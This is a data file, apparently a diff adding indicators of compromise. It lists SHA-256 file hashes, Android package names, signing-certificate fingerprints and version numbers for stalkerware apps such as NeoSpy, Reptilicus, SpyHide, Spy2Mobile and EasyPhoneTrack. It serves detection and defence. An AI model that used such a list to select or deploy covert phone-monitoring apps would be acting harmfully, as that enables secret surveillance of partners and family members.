+cb0292635fe1b34a41777cab425828cf52a2a6efe83171e9a1b75c32b0b10142,com.sc.neatspy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +00028565c848d277e82cae6a06212bd2bb30f25ab6b5e34f8e5af60e175cfe56,,,,NeoSpy +0aa5814549c2aeea043c8f1274820e82f8286741f7e7f0075af293d470f3a4f2,,,,NeoSpy +236c8ce2feeabce9e90144dd05f7aae51e38ad0654ca1589481b2880a1eb8368,,,,NeoSpy +2399ba8758f0b52c82b452c4f85d48642da8e9e37eac6018168783858ee12403,,,,NeoSpy +2494c9169489f369ded620f77e4b8500dd3e5fe0d2f613090ed6632aa2058b3d,,,,NeoSpy +271a23036a6b645c7d998745c0f0a516cc4846f3f6cc63a617f63836ff6bfa5c,,,,NeoSpy +28574a65287da00c18f5c50e08720d1ab6d4e49448ad2774ab5ac53dc7263b94,,,,NeoSpy +416d36e38c3bd4e07a70b5b9f99de5c30f56d4d92052c04d6a9ea0b4cacfe5fb,,,,NeoSpy +44477a6274931fe6780d4b8b3931e65e7e1acf2032ca67125c68dcdb2bdfd4a8,,,,NeoSpy +565904a90bac551601d50468d2d9c7d2ea09f76edfae0c696d716bc0932bb343,,,,NeoSpy +56ba521bb81719f0f725cf4bcd7dad94e35897e074b67cb235f1ea748da0ff49,,,,NeoSpy +56c683661e0c6e654a09f64c233834f8e43b08fa9a2dfa0ec3cc59719e1a8ac5,,,,NeoSpy +581560a4f4d657d611ae8998d8eae0a0c8b9b275f9d04d271f7c43c44ed3c038,,,,NeoSpy +6ec672b865c303b61afbdc9133d790ca39440e1c3f515cc55c4d7c6334c6478a,,,,NeoSpy +71c0e407e87d2e932404a604047a83ed0529e397f16b1e3d90fc9cfd9f47c988,,,,NeoSpy +7a937eb632ffb438205521964d99ac1a91a13179487de2a36a0568bb217a0c8f,,,,NeoSpy +8073cfab22f3a700345ce0d6352e4dbd6d0ef6466a1a0d8a4bea34bbca01c7d2,,,,NeoSpy +83a85cd1b9ad46cb2005afe3f488004468e7b1cfc61c75a350369c59fcbbc5a3,,,,NeoSpy +8719517cd9d6bfadf4cf2eddfe18014479ec67a4ada72e8cab12aa7d23a40b90,,,,NeoSpy +87afab88c771c27e1f30776066573f1e0db84f647bee6d8701ca012f0db4f256,,,,NeoSpy +95d8489172374df3d47f2aedb07cd16ec6d436e17e2811d11a423af7be6c9be7,,,,NeoSpy +a234d0408429ab569735f9a02a5490e25bd02d5daff74bb9fe5f28988ce50cbd,,,,NeoSpy +a380f48bd7879692015bc71be978d546a06667e0bf1e2f970291dc41b1a35908,,,,NeoSpy +b2aee2a87dd94516072c9d385d33928e01f3d3a2ce885189f56b3cae94be7a9c,,,,NeoSpy +b8c2754c97133074db23009dddcaee9de93f1933342d627d29c141682702e186,,,,NeoSpy +c2a8eb751d2c0dba78ec40c582c27ab9a85d89ba5169aac80cbaafa22b4abb2b,,,,NeoSpy +c439ebc00aa2bffa2d09ed54236ddba33a59bcda8aed2bb19e8ad5a2656d4f6e,,,,NeoSpy +c59ab687a265e9e6b7244713c352ce325a0c007bbd8b07dfe451af10075147c8,,,,NeoSpy +e30482e964523c47eee6077f013e07b7a4e8776bd6031fef17193b5c287af180,,,,NeoSpy +ec28d480130f225855cca7de283b004fac4a9338afad01e48234a5c49d32e033,,,,NeoSpy +ed7abe2be74c19b2cd6547126d54f9a2e883c0d4ba7d65212639133add54bccf,,,,NeoSpy +f1b9c82d6a94407cec3bf70ec24f0a8dcc762e6128e9bb982571d971e6ee9790,,,,NeoSpy +f75796c604bd9da8b280d4c0d7b96476e0846c0b4b5c02f5b553f8404c1e0dc2,,,,NeoSpy +f923f59957b05842df426236b2408bcd5172e3c2d6ccb2fde9a1c4dce8a2955c,,,,NeoSpy +f97788f7559124ced1a9eed679ebbab0e9f20527bae78274d035eb51d3952b5a,,,,NeoSpy +5dc4f281c4def955616c97402dae29d3d4fc7ac6b63d4e54c21f6baf2d36c35c,,,,NetSpy +b236ec0502fc570bbba386c8f6f19632ccf2d30164c030fd3d86fa230ecef316,,,,OneMonitar +5aa4fe0c11404baaa2d3ce8fe1b284d66b9020397083616df85aa9c06afe94fb,,,,PanSpy +282c7b2e46f72ce844bb26f8359e34b5256800e55550c52cd912131bd7b2e423,com.avi.scbase,20F092BEC76C406223A7943371A1DBBB5BF66C13,31,pcTattletale +238f7954871661c1647e0b9f7946b3bfcd058c0dd3678d80afa7ff050442f279,com.apspy.app,D667A33203776F2285EBA3E826CD286356EF05D0,1,PhoneSpying +8c5d95ffe5860dce230e821645ff1fd5aa79723802fd2f8e2221801aa07d29a2,com.apspy.app,D667A33203776F2285EBA3E826CD286356EF05D0,2,PhoneSpying +d4a848f4ca3762d4040649dacc30f953eafc49fae7968ed22501e269755f4531,com.apspy.app,D667A33203776F2285EBA3E826CD286356EF05D0,1,PhoneSpying +057105577ff80bc15ff151a6e976814b0a2404239a236e2bd084f784ba0154e1,,,,Reptilicus +078cc832db7df902bf6b30bec5da07321e07e62fbfde75a50522c29dfed34996,,,,Reptilicus +086a72891ad805b02028ab878fe04219b47b41e7fe57827cb8bae3342df8fbf0,,,,Reptilicus +11e937f2bfcbce24be626bcd2a5c7a8c90e8ce3d4317c43b9a044a2b44f17417,,,,Reptilicus +161e8d0c4eb623b81862e09a6f4097bdaa13ef45f3b9e8f0206f503acbae27c1,,,,Reptilicus +1bcb08fb20b3a22938c3c01fe4f4890404310ea65eb86e5dfd1639f30c8d73d8,,,,Reptilicus +1d6ec4cd2a5f3192cdc1e6ff0ca59f9a92b358ef08f7c5f0118ba15afea0c74d,,,,Reptilicus +25c0a8426afa94c2f0a0a12f75d141370b3a4fe8653292c19b241c83eb39e579,,,,Reptilicus +26434d43e515f38a10263cf74fc6ce2849423ac477de0f4ae4c397152a2efbaa,,,,Reptilicus +2cfe5ec79c7fbdf94c3ec90ac0a8e2d1b4f1a13409c384c9dfbc51fc3839051b,,,,Reptilicus +2e8b15fcb82e229cee20f1fbf6c75bf1f617308cd321ccaacd8583c4dd4bc8bf,,,,Reptilicus +326a3e4dc76dafd9722406dd2fdb1e10f65a836a64b14e23cde921020f8979c2,,,,Reptilicus +331e395fa0a9d75342d41f2b4d2e5c48042a528e61e41b3678dabdd28c8bb3c8,,,,Reptilicus +35ca9897210d2f34a8acf81bf573c03a9f0fd35b0be2388d2ebfcca98aaab760,,,,Reptilicus +37f1ffb5f1806cec2c6f323feace42894ad11758af05f416a518e9730ca3faba,,,,Reptilicus +3c9ff006344869c4ce571ecb11c9e4e1e5c11784efe0132a5e2420941be5d767,,,,Reptilicus +3cd9704928789629ed804ac9d726fa8fd809b682d83ca83b2755e537b98c656b,,,,Reptilicus +3d8cac906fefc39de9df995854771f61a3c8cd0c14fe5ad456c91913ba77793a,,,,Reptilicus +47ee347a4a534e32fe4546a0105bec0b669fe72ca81d9ead591d501f9a0168aa,,,,Reptilicus +489fe688a5ecb172e95aeb007ec5c62cfa5c50841bf220810c449a004b2f45d6,,,,Reptilicus +4f9c4103e3551b2849d378baaabc06fa4de042419ce45f78a3105feb9a582d01,,,,Reptilicus +51fde0197f1152a0145bf0fbfd17809b9b105557e9c980d2e886cf01b85add51,,,,Reptilicus +5272239d925132c601125328cc58897753ae068116fc1dd93df740b1d59d8597,,,,Reptilicus +67cd617d215361904ac274e1600cd1e48642a8b1e8381edd6e80e286d8297e8d,,,,Reptilicus +69fa86e8a5415f44db366787058f5fd0c73efd88de5f4fd94aeb8e899fb8cec8,,,,Reptilicus +78a81b421b7e4c695c6cb657774f5b0d03c8b2b830aa53d0f6585511060fdbd1,,,,Reptilicus +7b2027a3eec306415fe09fd97a7b13f31318d4eb1c5ef4f3854cd6121e05833d,,,,Reptilicus +7c3c0bff829c72cea1e4fc0633bda56594cbb68572fd38989d87843a84275e96,,,,Reptilicus +7e25e41a6347212b24e4b4c7ba374851932f63b856acd72292e935d5613ad5e6,,,,Reptilicus +84b85ab4d5972bbb1cd1305c2ebb78c7cbc9328942a09260deab92f9832a639a,,,,Reptilicus +8b4eb6e5f5c82ec6b84cced857714e7a217fd835d2442b1504aa950d99d42ba2,,,,Reptilicus +8ccbb0b25fdc6757072fb7fe648f61dcef6650d71003af2b219e5b781406b5fd,,,,Reptilicus +8fd97d68386eacce306ed977d0d3a3947a5bee704a91491d9045ccc48e79a1fc,,,,Reptilicus +915b558ddf6456534f77d3a609154bef8b3ed9bbc0993f80c7dc9b13e5365ec8,,,,Reptilicus +9191a8236f338269f957294c6137ce83df5dc4af51f5ea812c08f585f66c03bd,,,,Reptilicus +96067163a2d66143758df859d4f8d45dab7b45a5f5a5d708aa17d97499776fcb,,,,Reptilicus +98a9c10c998a81be77dfc8c45a8eb731d2921487401490c0fc2102f15f0a3c26,,,,Reptilicus +9ac2e7a717737cab28d8f63d61af9349c5456ec7dbe67c523e5c6f7348885a8a,,,,Reptilicus +9b3a099d0d5983f472c7f42e91873d91a6ddc3dae3b4d02c32845e0d118bb3c1,,,,Reptilicus +9e884358fe79d553e129a0b5c4571b096416a33de780fbc540c79dee852a2f19,,,,Reptilicus +a296ebc5ed97d07685fc341dace821adb37fdf5d704c02f32a0c9f137827eff9,,,,Reptilicus +a3b8b90ee684eef32a590fa452f0d06199c6f02303e255d02876f73cb03259db,,,,Reptilicus +a56b53a2ed3e43b13a92d1083a4c8e8ee331e01b64bab28979c8b2d1fd52eb71,,,,Reptilicus +ae34a70a1dea161ea00dacd26a204800445593af962b81931f769807e9e4bf75,,,,Reptilicus +b04afa264292511d139605687f674e4e65046791a276357d4fcddc526672861a,,,,Reptilicus +b08592d6aa163a92f6294e806f938a5a15b143bd6604677e1988d8ab30c1b9c6,,,,Reptilicus +b2ab208206321b463bc7e5c3089814391b425db13e6aa917ffb368018f5d8872,,,,Reptilicus +b622cf798e09493f59c8bb64e82daa4c0c165db2f57d7bc9ba83ec803b27bd7e,,,,Reptilicus +b89b9f572ba37c239fc3c1821939ecfd7e7e0aac00f992f733bdb197de8808e6,,,,Reptilicus +c58eefbfdeb3248d52eb914ef7f91c6df7dfbe3f20314ee3a9ecab4d16899389,,,,Reptilicus +ce7a44a38be92c59a9924c56c231340d6714d5c68cd95bbec88c1fec7a989b56,,,,Reptilicus +d035848c249baaf2907922e5c1a45a18b0d1a0af29181d6d6f942e7d7ac7e1fd,,,,Reptilicus +dcdeaf96b4eb779fe6b2b827575d9630fd9fa089bfdd701b807efb2a8bbdcc83,,,,Reptilicus +e8264d44e15f8b7278bd10a6df07cfa859340d11c35bf4877101cdb71c9f07aa,,,,Reptilicus +effb9c98db3d940644b8b7bc0e6e05f52631836fa9955707f2d811e444cd2e1f,,,,Reptilicus +f2cc4882a5cb1950f3b984e1d8cbd55d489096d7a3e2cb9c0194f5440a88ae5e,,,,Reptilicus +fb28dd7db2ed33a74f22a89777714b5d4bc3bf838c20b885f41f9f589f8168dd,,,,Reptilicus +5f7e06c6e23e1e8ca668cdc9a718e6448be54c2cb177b152fbfe535cdfdad263,,,,SafeSpy +cbd3c5cf40d3e98e8c40b76892b7f9a5a22c1115bfd7e836bd3beecd477bd657,com.sc.safespy.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +2a5425fc6e6933eef19a34eac1557e8364baec3c0ea112dbd453662035656adb,,,,ShadowSpy +450403109acca7d483c1ab247e8af3703df3f7bac626f4f74a48ca959526b9cc,,,,ShadowSpy +6bdb600952547731a01b792e45489c97faca0cadbe696241166be3bab39e6b9b,,,,ShadowSpy +8aa7f3faf867fb08d9403d2ca36fa0ec68eddaed9d0175302a27949187c6e87a,,,,ShadowSpy +91ddf0f129973ee862900895f6d72e7a680a6e755ed14703657aa7dd7cf921a2,,,,ShadowSpy +9ef2e208a4634ae90c6f36c0995ee3f90b43d4968795d18f2a68192b78a72601,,,,ShadowSpy +b3c8494ea7b5f943cba317df63455d9012c514931d9402761a44725a35be7738,,,,ShadowSpy +e06da44828957c44edbd4b4249f4a68f3ca30ef5569f38b62a81f6d05bfd65fd,,,,ShadowSpy +ea0936c14dc8edf98c07e82e38914838e1915f452f0969c8e50b7b09fc8cf6c8,,,,ShadowSpy +ebdd719b01b484e75ea477feec129390204c3e7b02d9b11b7290ee3233728bd0,,,,ShadowSpy +f44362503765ef80b51c5db69b1ee2b2f027b98cecefbcad59800867c2c21206,,,,ShadowSpy +fa3f65dbe91cc87d3a2deb040cecb13397a169f7e5d6ddc9b622b69cfbc1c41d,,,,ShadowSpy +fd62e9a9b810cd8d478426fe10265726d8044986a7662e6364e6ab3694408e6b,,,,ShadowSpy +07cfd836073d0012c9f7d0ecc3fcfb0af848098d6fa60708acc9e2213fbd59a2,,,,Snoopza +08a52e468a094957728b15cfcec2c25de03725c393c4c37e5ef72eb3bf7d09b3,,,,Snoopza +0e53360b146fac1dd68a92cde0d23c5badf852745222366b293d3936b306c275,,,,Snoopza +168272c0283d82d9af512cbe379de2799d779bc7d68ae5c901e1bd388b63cd2c,,,,Snoopza +7cdd2c1df453e1db2845f3e26cb73ea9012f2bed64485da7278a5a88f8f67895,,,,Snoopza +820d38f51e2557a5a20c9a6d53f116850bec0c2277cf111a1c631a35a47ccac2,,,,Snoopza +8ceccb0637ecb2ebe90a96ea63e99603be67e4e4e20b2195c69feef633136558,,,,Snoopza +997b808e64c1ce1fed7605e63cffd37b98b3add891d22cddfda3e29dbfebb9d4,,,,Snoopza +a6b9370976a38b07771c528a0e66bcedf51f88d348c1c6a3a21d7e14fbef6094,,,,Snoopza +f2ff81a8d5f980e54c818df634b16b659471ebab0d358e132c9561ec3fcff1e7,,,,Snoopza +f739bf9d16d719f55a4ccffd6b928a9f50cc8c226ff3568481e5584154e35a2e,,,,Snoopza +037323bb567391a8d55ce2361942cda125b4fcccd8e559027356f8f7e65d9445,,,,Spy24 +77d4f937b2855137ed14dadab49da6e1f0be27b9c032dd9316af97ea3f139893,,,,Spy24 +913b6ce2b37b667106287d36f2e675eb177d28a270b3e815e90bdd9d2cc44dcb,,,,Spy24 +07bb94d0673e0e0902da383004c944c13a4aef71b82ed6c8f75a17c52eee9c9a,,,,Spy2Mobile +19a8d63918f5cee7676228f4aeb47784fb89773ef2544ab06e85041fd65b1fe7,,,,Spy2Mobile +1a62800805372232c609893024d45f959589606873c5ca6c8ce866b2e837bdce,,,,Spy2Mobile +29a7cf29dbfa027888996c9b1529eb867069e6e138e811a252258a241ea3d0c7,,,,Spy2Mobile +35e1938d149db81c65e414f6c7754ff212e82f189cc0bb1c619b18e7c04cf8d2,,,,Spy2Mobile +3cf52131706bc8d96cdb9fba28166b53b72c0510fd830f26efdb25150d26fa1c,,,,Spy2Mobile +3eee8942aededa9c890c654bdf18130c6c9655455ee5b4241bb1214f7df7ed4d,,,,Spy2Mobile +441e2c5b683c2daec6dea2a31a2340579ffe34918e6206359c8ff14c9bdf4653,,,,Spy2Mobile +489e656495e74a3a5c031a2988613ed3de18ec9358083fe5fa7281a25fd35e6f,,,,Spy2Mobile +4ce1cc5dacb30ae008dbad544ee15ae000b68eb1aba20b84d3d0dcc2033ea833,,,,Spy2Mobile +51ac0d9c23e16c1c70ded6b1f0325cfead5c44d18e4408ab5cccb942e6cb2c27,,,,Spy2Mobile +5c8b36325f7f5f65d8eb481b26cd6f9eec79fbcf7711013344cdf496155d94dd,,,,Spy2Mobile +708c1b154075b4c672864243fc04f508cd5c8b19df39359c1671591525db0b4d,,,,Spy2Mobile +790190cc8d7382798ec6d3c298b0d24b461b61ee07dd106f7453db5010056928,com.s2m.seas,9329632A70D41158EBAB6EED27B12D8CB0D47579,10000,SpyToMobile +8d49534ccec0fa5fb02e0d906135e5407927ad4cd1ce899d796b1e03b387f0bc,,,,Spy2Mobile +8d578d7215d9926610c794a73af486c44d3563a60c450f1c0c3921b43eb149fb,,,,Spy2Mobile +8fc63e8ccd84040059d0d81c7ed8dd94c4c2a9cf29160985fe80ba7aef9630ae,,,,Spy2Mobile +a6219e3d10f203cb3e7c94fa7b97c2f4b1ede084b986610aeddf97868e2fe533,,,,Spy2Mobile +b63afb0e1c375020bede72318c1c0f64084e88f9b2ab51893dfb3fd38ec19f50,,,,Spy2Mobile +cd6c5203e7b35467793567c8c994729248431081e01ed24f6bd3e5859f00182b,,,,Spy2Mobile +fe1828f81394c182abb15899e28b9ddfdde0e905fd9024e94fd777ebadb80c2a,,,,Spy2Mobile +ab8c4e659356a2f3b0299e1052122b7f9578e2e1bd7f9f642fa0b23be75d2c14,,,,SpyApp247 +ba88c8df9fdfd3fd67cec515b1bfa79ece4ca696681f2671462ba9c7ac7245b5,,,,SpyApp247 +09a21b7d1b9a7bafd0341b2bba43c5b66edaa044d48c0efd6bb6691ecbbee5f5,,,,SpyHide +122398ef2c28b577e491459915dfc00da1de6bb942cc67b1c273180a0af116ad,,,,SpyHide +1605113e98c26220b694135f5020844d93d72d70b61e17fd555cbcc0a3854ebe,,,,SpyHide +1a64fed1c630a11ad7e70a0313fc8e5126ce92d654850e7a3905470bc28f514f,,,,SpyHide +1d6d2394e3cbff757197f1826c86a12a348cdb877d144fe959745f9e0f451118,,,,SpyHide +23929ad7a4945c8ddb12545c90d9739895d1846f168bba367a556e458a53c7d2,,,,SpyHide +2b267249cbcb222e2f45e6ab2a3de557fa7f9bef4b34d011c7ad4511b41e4eec,,,,SpyHide +495c1e3b40afd320a2d67dee6dfc0b58744c07c9e6cbbf554c35e5497d76f351,,,,SpyHide +4beacf285240ff4f7e2c7f7405d4f962b3559bd3b3b501bdbb82eae296e35d7a,,,,SpyHide +56b6e1a065a3414fc259bd2592b345d3e20c267e84fe60260e266b7a1fb6611c,,,,SpyHide +5afd2f43d1a15fe32a4352796e2deb2ed60b74a3a4040cc8a767191372d2e56c,,,,SpyHide +6a48445a5da9d5649bb5dabe40155c99fcfe1fb503fa169d9f21bbe68cfd3114,,,,SpyHide +6bbe03430f5e9128c1dcaff73d94036ce40373170101f003ab30891ea5cacbfb,,,,SpyHide +76a5121457d43a79b1fcb4c6b6098b23def2d9509e111fcf11c6dc276f500c97,,,,SpyHide +777d0bc5091dcd5d1dc5fd51ca5e4e67312cf08eb60dc7ea8dac01105821d200,,,,SpyHide +7789c3bf629fa260712aedefa93c688cf999133f89d724366dec3e6c14986c12,,,,SpyHide +7955cef071d9e2d563cb1ba9aecea2dba361854641c4cbfad39cb242d1cb7156,,,,SpyHide +83971977247736f1a99a02b9eb394e560e98de9a0cd64fbae594f6da622f4859,,,,SpyHide +8893180027877372dba71e4484c99a0a2783e381191ac84169ea585307c19c80,,,,SpyHide +89b921dd0ddec7feec1877862f215408484340f3362f28698beddb17d9bf445d,,,,SpyHide +8a69a276db6d439001e364aab2c37d6c40557095953fc02ec849b637ad264d45,,,,SpyHide +95af557b9026cee5918a89dd8db67bb894be31ae26a048896995b520613a606e,,,,SpyHide +9ac65ea5e1604d0e437e6dd0fcd0888a31cf6c96833015059f6cb0d989c18158,,,,SpyHide +a52c9089d7a5a53fb94b3232691dd5e8299e35840b1503d5e2051f4068ca512b,,,,SpyHide +a896c127a7a4b75b7032dc5f56d20ebb918403c0d84d2f3cf4fd55e785cf9415,,,,SpyHide +b8ea0be5ada9340af9ee46dd71e6f537c6e96631bf6b1d88813acdfed76bb392,,,,SpyHide +bac1e5c3cc602952d002db55d9de0f80adc1fa3ec32c5050c292e1d4d7f3df17,,,,SpyHide +d3e76b47e122eadbab168e53c9bf1af92a60ac5c8edd6ac317db97a9d2c39e26,,,,SpyHide +db96ea05672188096d05c657fddb4134c56adf9f9971a234c6c1028959eae4c0,,,,SpyHide +08c2ff278ea4cfbfb0560b1be52bfebe422b892345fcb89283bc6ecf4374b36b,,,,SpyHuman +1fe1264cf5c44fc7e1df682020c1c55999dc38988d7d33aee4bb4c40b270b92b,,,,SpyHuman +2cad3083109f41d10cf6a8ac127a0622260f08074d1dcfde76135c1c73bddbe7,,,,SpyHuman +3392b6d1214ec1278036c34d0c10e48671f3766ccb73248ee336572db400d946,,,,SpyHuman +3ee25a50014e7b5d393ac0c9c2e1e35857597af39ee7fcb404c3170bd58757f1,,,,SpyHuman +4336f17e5f5aec06fa8a5f2f3b213597f176a1941af3e91616e2fdd54cc9b8ce,,,,SpyHuman +4861f15690f2dfb68e73b1ffdbe8aa4c93cc63ea85bc7269595a5964f6e4d653,,,,SpyHuman +64e4b9bce5c6ab60cf1800860f3ab13b6f7a246381512ed4fb3c429fa26aadfd,,,,SpyHuman +862b6c3279e9dd7d0033e33b04960a7a9922e7d5e14975d4dd62c0785da94f82,,,,SpyHuman +92f3944d95608095c528904bb548f8d1e3740bc7fa37ec1ed0962eef37fa6aa9,,,,SpyHuman +961fb6983f9cbdbc105943650c69049f94c69f3e2c5cecfd2a5d001dc972ad99,,,,SpyHuman +b2bd85ed717dce397c5271e52436bfd8d2ac95b733b2ed065d62e1e7d56e4641,,,,SpyHuman +d62be7e176f35c56b41a5682d9b7d4b6eaea365ae424dad5d123f3897d48175f,,,,SpyHuman +e8ece4fda85f0613d63d7792ff803b65621e0fbd47f02e6a7fc4b22f5ab87293,,,,SpyHuman +ef633f4259b85b0e5fd9722a1e6eac56ad640a282b0e4b1623da5d1453aaeb37,,,,SpyHuman +f4929cd572e6ff12d0fb634e91e6eaede233647c1f933b4a1151d443466297c1,,,,SpyHuman +111b7a2f8988cb30e74f51e66f7083f84c4b53f0971c4b5f1007547355e6bb35,,,,Spyic +159e6a085f5ed4659b21a8b7e545decd97879981302fc874b3919a0e8ba42ff4,,,,Spyic +385b1dabc4438c2bae87d355cfe333f09cd5c6215f9c90dd1827c459657a37f7,com.duiyun.spyic,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,84,TeenSafe +3e202dfca580e51005d9f9c1613e39a5376a64e34d92086eaa7f8b7e1ffd32d4,,,,Spyic +87113158aaef934387e4aa58f4fd9fdc9cfe40fa56be8ff38ad5a4786b41f61e,com.duiyun.spyic,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,85,TeenSafe +a6b1ec9a59c2e9dcbe550a737dc028d8f174f11b9a69c397f81438c0e93ecc3a,com.duiyun.spyic,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,88,TeenSafe +c19bc3323f51c454689cfcf5c6379b06f28971e381c4f46ef573b1e11b086f00,com.sc.spyic.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +cc363b9033dc72646064095dd55926f8f86108c04410ba0ad2fe08cc729153b2,com.duiyun.spyic,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,87,TeenSafe +fe5e68f082f2e533f628351cd40a76369e423131851a1133373c755ab2986439,,,,Spyic +7b9464102c37803c6e8d117419ad07a75ebb85dc54cc1a95dba05f433fc89990,com.sc.spyier.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +67e54def3d50d32cf133dd9ef388f4f659725532997c868d1a109d8eabb22215,,,,Spyine +9d6d997ee4a59a78629e32b081be072799cf75595c1e23abba0ea0507c31b1aa,com.sc.spyine.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,92,TeenSafe +ffa1751b7677a762d006f4c8fed57253cbf592db98e1914c252965a8de621cb7,,,,SpyLive360 +0ce679c93d4fc3d16bd896c3724365d405e4e610983c728c0b96a1c2f86607db,,,,SpyMasterPro +1960b6d2b896f2c1178d9556e7c487361c5d5bf2411f78a848d8964adffe0975,,,,SpyMasterPro +21d3cf611dd719a096b06e5536eb1b93c87fbd0f53f1e70c7010abca73b07e46,,,,SpyMasterPro +6fbd7995982f96211b3b3b1bc9dda0e3bdcfca6dce8fd5e5e1095517cfebdc9a,,,,SpyMasterPro +99480cb79e0e6a18d18d9c04b329349a582912d50b0f97ce55dad5dcd8fc18ca,,,,SpyMasterPro +bc3da15651bc456152f26f76509e024b690618d1d06886e5d0c0a6d573245dfb,,,,SpyMasterPro +ce7ee8f073f101eb56e2a6467a9c1e68eb54594a0925ee007359db7db8fbab3e,,,,SpyMasterPro +816c1eba8e7597d4e0ca19f039d92e28d2e3122c7444949d59577384f874a573,,,,Spymie +b0afb0b4d44f36eed6f214d468defb2beda5cc689f890a64c5b258783714628c,,,,Spymie +b5b24ea08a84efd89c4a245a8c9b617097884a75dfb05e3e73679f9c80347855,,,,Spymie +d3e857546e5ab6765fcc89c144f50eb2b35cef7270f7de7b0d790cf40375fe7a,,,,Spymie +f8a3f9704dd11f4a0a035477cd7f461babd0f47c3bb5757294cc7d1c6b98e3cc,,,,Spymie +0079ae7c362d6a5a50696144670238df84d33a24e66b82ca055d508dab90a535,com.spappm_mondow.alarm,821AD4550E8ADA1012068593AF750406E0F2DD40,15,EasyPhoneTrack +0164550f14e9dec6e7d9444f13fecacefd7fd520f1ad51abb2ac81f81a954672,com.spappm_mondow.alarm,BD6E7768AE41D5D9F7F783F36F40868F50BE84AA,37,EasyPhoneTrack +030fb136b810b70d242540a628b537f567ac32ee95d0a81c8001eeecf3ee2670,com.spappm_mondow.alarm,9A3C386C44F9C8058F95B629B50EB0BB1D374A5B,66,EasyPhoneTrack +0332a94883a7dfc09ac83e116e87547c71eed80bf05c0f5f58751374fa2bc35c,com.spappm_mondow.alarm,C8DB0BFC59076F2AD9884BA5BD4605635B0F70BE,72,EasyPhoneTrack +034305be6dd08950069e3d3b0d93c43328350a9c86ddba310084d86eb44427aa,com.spappm_mondow.alarm,AF94EB00F11813EB5FEE23E262D3763207E6DC5D,253,EasyPhoneTrack +0411cfd7e4c579dfb7561304264ec3e789cdd1ffb68fdf03791a3e5cf4179dc3,,,,SpyPhoneApp +046a837cffe19580034be1cb421545e02b173f8d5a091f7e6d69b7c0c559c468,com.spappm_mondow.alarm,38E2BD4C28F1585D4C6829DD30C6CBD43A82CDAE,145,EasyPhoneTrack +04abe757b1cac8e9d61010906b8067e6bcf2530f8dc1d7a5a9004ee2b02ce546,com.spappm_mondow.alarm,F3F6CFB0C8900ADC696DF44C8DF589595A98E4EF,79,EasyPhoneTrack +058e356571251488f0e238c11ba3ab2aa2adbe1ec955f5f284bc86a21fc131da,com.spappm_mondow.alarm,962B852E39BE59E75EDBED63D420D8391D7FA35E,164,EasyPhoneTrack +05af721cc21d3e7e2e03255652ba248521a9a0296857d95d4b22edbbdae3996e,com.spappm_mondow.alarm,561661DFDD714361134F781810EA228B11183A41,154,EasyPhoneTrack +08dda0f5cde18f13678e5a49c993a31f8497da14dde2bc61a515c0ca4bceaf34,com.spappm_mondow.alarm,AD6FEF2ED1CB25BF8B516B0EADFB4FC5BC8015A1,160,EasyPhoneTrack +094bd694fbab7b564090b817a8f6725e7d2c537a5d0e2258a882b2be6fc4ec08,com.spappm_mondow.alarm,38ABE65C7275277BF8ABFFE59C6D9742F8D57E38,16,EasyPhoneTrack +0abedcadd7f451207b2f43a3b3953239a192dfee0623e0510ebe47abd1d9e4cb,com.spappm_mondow.alarm,BD6E7768AE41D5D9F7F783F36F40868F50BE84AA,35,EasyPhoneTrack +0d01c3f0408fb1762a15517276d73f362ab64461f58242f4066da883bb2b95c8,com.spappm_mondow.alarm,6162D85861DC6D0E1A1570CEA3A37982EF838A49,95,EasyPhoneTrack +0ee8fdf725ba44f16b8a45b826ef02d35580c9f1cb02bbe19695a097f4e2c9da,com.spappm_mondow.alarm,F1F8B8EE1623DBD4E145B7919144776B834BCD4E,125,EasyPhoneTrack +0f177397044a6db88316fd65eb09b70ea9e2ce0de3462d32585d86903125a44f,com.spappm_mondow.alarm,215DD043F3FF85D2770FDD4CB4B89154DCC40CC0,101,EasyPhoneTrack +0fa2daf9a232b9848c19174b4709caf2be8dad84cb532b5b5ba03feacd62daa7,com.spappm_mondow.alarm,751156945BB6DA2D3D13E393DE6980FA7794876C,223,EasyPhoneTrack +0ff0984bde36d11d1c533fd23d0132405d5679444ad812439f7928756e5559d5,com.spappm_mondow.alarm,4494022B36EEE3485B550858DB214DDE9928E3FF,217,EasyPhoneTrack +127b364902fc97fb6cabc3cfbfec068bf9b918d8832774fd776f2794407a3c80,com.spappm_mondow.alarm,4C751C485235B08A4CE3130BDFA3F82A71916C01,17,EasyPhoneTrack +12c17b6e4486259f25d5adab4ff6b825b2993a7de7315d2dce5dcfee00e718ba,,,,SpyPhoneApp +1477676b1041fe049d39dd7cb1e8eff3ee4b5ebfd65597982f1844e4e7b712d5,com.spappm_mondow.alarm,D6F2F6F6A5679E3EED6D1453197BD8A1C819B317,163,EasyPhoneTrack +151caa8573da4d9a9d90d62066b777d66444ea4fff8728275aaed79285d5bacc,,,,SpyPhoneApp +171b69637f68af1a9a094e74fda224b1631a87cf76af8fa6f949305d02f34910,com.spappm_mondow.alarm,2E8CCF5F586FFF50D67F2357FF2070C7E851D41E,193,EasyPhoneTrack +1945b2911a078227c9035503754de19d83f4c716da98924293fc289cb1975628,com.spappm_mondow.alarm,4F62131BA67716F41034B5338528AD0EBF3332EC,117,EasyPhoneTrack +19ad56b2db7f6aa36c07a1528cbd5fb0db32115d7b15a6bc46b1049628480c8b,com.spappm_mondow.alarm,7D6DBE37C00CA12B920416863EE959BE4E529591,98,EasyPhoneTrack +1a46c576479689a9c165d1b1c95a478740bfce0b6629f30f5cf427b33a025b1b,com.spappm_mondow.alarm,9B418C3CAFAA5560D7CD2B4F5380D4BA23E220F7,81,EasyPhoneTrack +1ad54dd356c77d70e5463eb4abdff4b152e494e74a59292c5200453980b1bcb3,com.spappm_mondow.alarm,1794894FFA662A64FD8AC4DA8BFC59D7D68DDAA6,20,EasyPhoneTrack +1bce7bf45a0e2bb33c7d2b34858427d574935b88768fe2342c944f77797b9a9c,,,,SpyPhoneApp 